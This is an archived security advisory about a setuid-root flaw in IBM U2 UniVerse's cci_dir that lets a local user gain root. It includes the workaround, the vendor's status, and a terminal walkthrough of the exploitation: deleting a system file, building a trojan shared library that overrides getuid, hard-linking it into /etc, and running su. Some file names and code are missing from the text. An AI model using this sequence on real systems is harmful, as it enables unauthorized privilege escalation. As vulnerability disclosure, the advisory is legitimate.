Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: bt652.txt

IBM U2 UniVerse cci_dir creates hard links asroot

Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Thanks to IBM for being so receptive with these issues.

For those of you that have requested we revive the old "Snosoft" 
advisories we have begun placing our legacy advisories at as time permits.

Content-Type: text/plain;
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;

Secure Network Operations, Inc. 
Strategic Reconnaissance Team     
Team Lead Contact                       

Our Mission:
Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 

Quick Summary:
Advisory Number         : SRT2003-07-X-XXXX
Product                 : IBM U2 UniVerse
Version                 : Version <= (DGUX = 
Vendor                  :
Class                   : local
Criticality             : High (to UniVerse servers with local users) 
Operating System(s)     : DGUX, Linux (other unix based?)

High Level Explanation
High Level Description  : cci_dir creates hard links as root. 
What to do              : chmod -s /usr/ibm/uv/bin/cci_dir

Technical Details
Proof Of Concept Status : No PoC needed for this issue. 
Low Level Description   : 

UniVerse is an extended relational database designed for embedding in 
vertical applications. Its nested relational data model results in 
intuitive data modeling and fewer resulting tables. UniVerse provides 
data access, storage and management capabilities across Microsoft®
Windows® NT, Linux and UNIplatforms

A legacy program aparantly left over from UniVerse's support for the CCI 
(Concurrent Controls Inc) Operating System can provide a normal user 
with root access. cci_dir makes a call to link() while running as root.
This can allow an attacker to place text into any file that does not yet
exist. cci_dir will also call unlink() on the attackers file of choice
again while running as root. The combination of these issues can provide
root in a number of ways. The only limitation on the exploitation of 
this issue would be the use of multiple partitions. As H D Moore of pointed out to me, linking across partitions 
will result in a failure in the link() call. 

link("/etc/passwd", "/tmp/test") = -1 EXDEV (Invalid cross-device link)

The above limitation by no means stops potential exploitation of this 
issue. Some of the attackers options include placing "+ +" in a .rhosts
file, unlinking and recreating the shadow or password files or even the
trojaning of shared library files. 

The results of this issue are demonstrated below.

[root@vegeta bin]# ls -al ./cci_dir
-rwsr-x--x    1 root     bin         10328 Apr  3 21:57 ./cci_dir

[root@vegeta bin]# ltrace ./cci_dir USER_SUPPLIED USER_SUPPLIED2
link("USER_SUPPLIED", "USER_SUPPLIED2")        = -1
fprintf(0x4212ef80, "Was unable to link files\n") = 25

[root@vegeta bin]# touch a
[root@vegeta bin]# ltrace ./cci_dir a b
link("a", "b")                                 = 0
unlink("a")                                    = 0

Lets see how the above can lead to a root compromise. 

My first target would be /etc/ We can not link to a file 
that already exists so lets have it unlink()'d for us. 

[kf@vegeta kf]$ ls -al /etc/
-rw-r--r--    1 root     root         0 Jul  7 20:03 /etc/

[kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir /etc/ isgone
Was unable to unlink file isgone/..

[kf@vegeta kf]$ ls -al isgone
-rw-r--r--    1 root     root            0 Jul  7 20:03 isgone

[kf@vegeta kf]$ ls -al /etc/
ls: /etc/ No such file or directory

Next lets prepare for a shared library attack on /etc/
[kf@vegeta kf]$ cat > oops.c
int getuid(void)

[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.o
[kf@vegeta kf]$ cat > owned

Next we cause cci_dir to hardlink to our trojan file.
[kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir owned /etc/
Was unable to unlink file /etc/

You should note that we now have an file.

[kf@vegeta kf]$ ls -al /etc/
-rw-rw-r--    1 kf       kf         18 Jun 27 18:41 /etc/

[kf@vegeta kf]$ cat /etc/

Now you can simply take root. (note you do NOT type a password for su)

[kf@vegeta kf]$ su -
[root@vegeta root]# id
uid=0(root) gid=0(root) groups=0(root)

Patch or Workaround     : chmod -s /usr/ibm/uv/bin/cci_dir

Vendor Status           : The IBM U2 staff will have this issue resolved 
in a future release of IBM U2. Patches may also be supplied on a per 
client basis at IBM's disgression. 

Research and testing by the IBM staff has confirmed that cci_dir is no longer 
required for current UniVerse platform support. It will be removed from future 
UniVerse releases. Customers may also remove it from their systems to mitigate 
this vulnerability.

Bugtraq URL             : to be assigned

This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact for information on how
to obtain exploit information.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH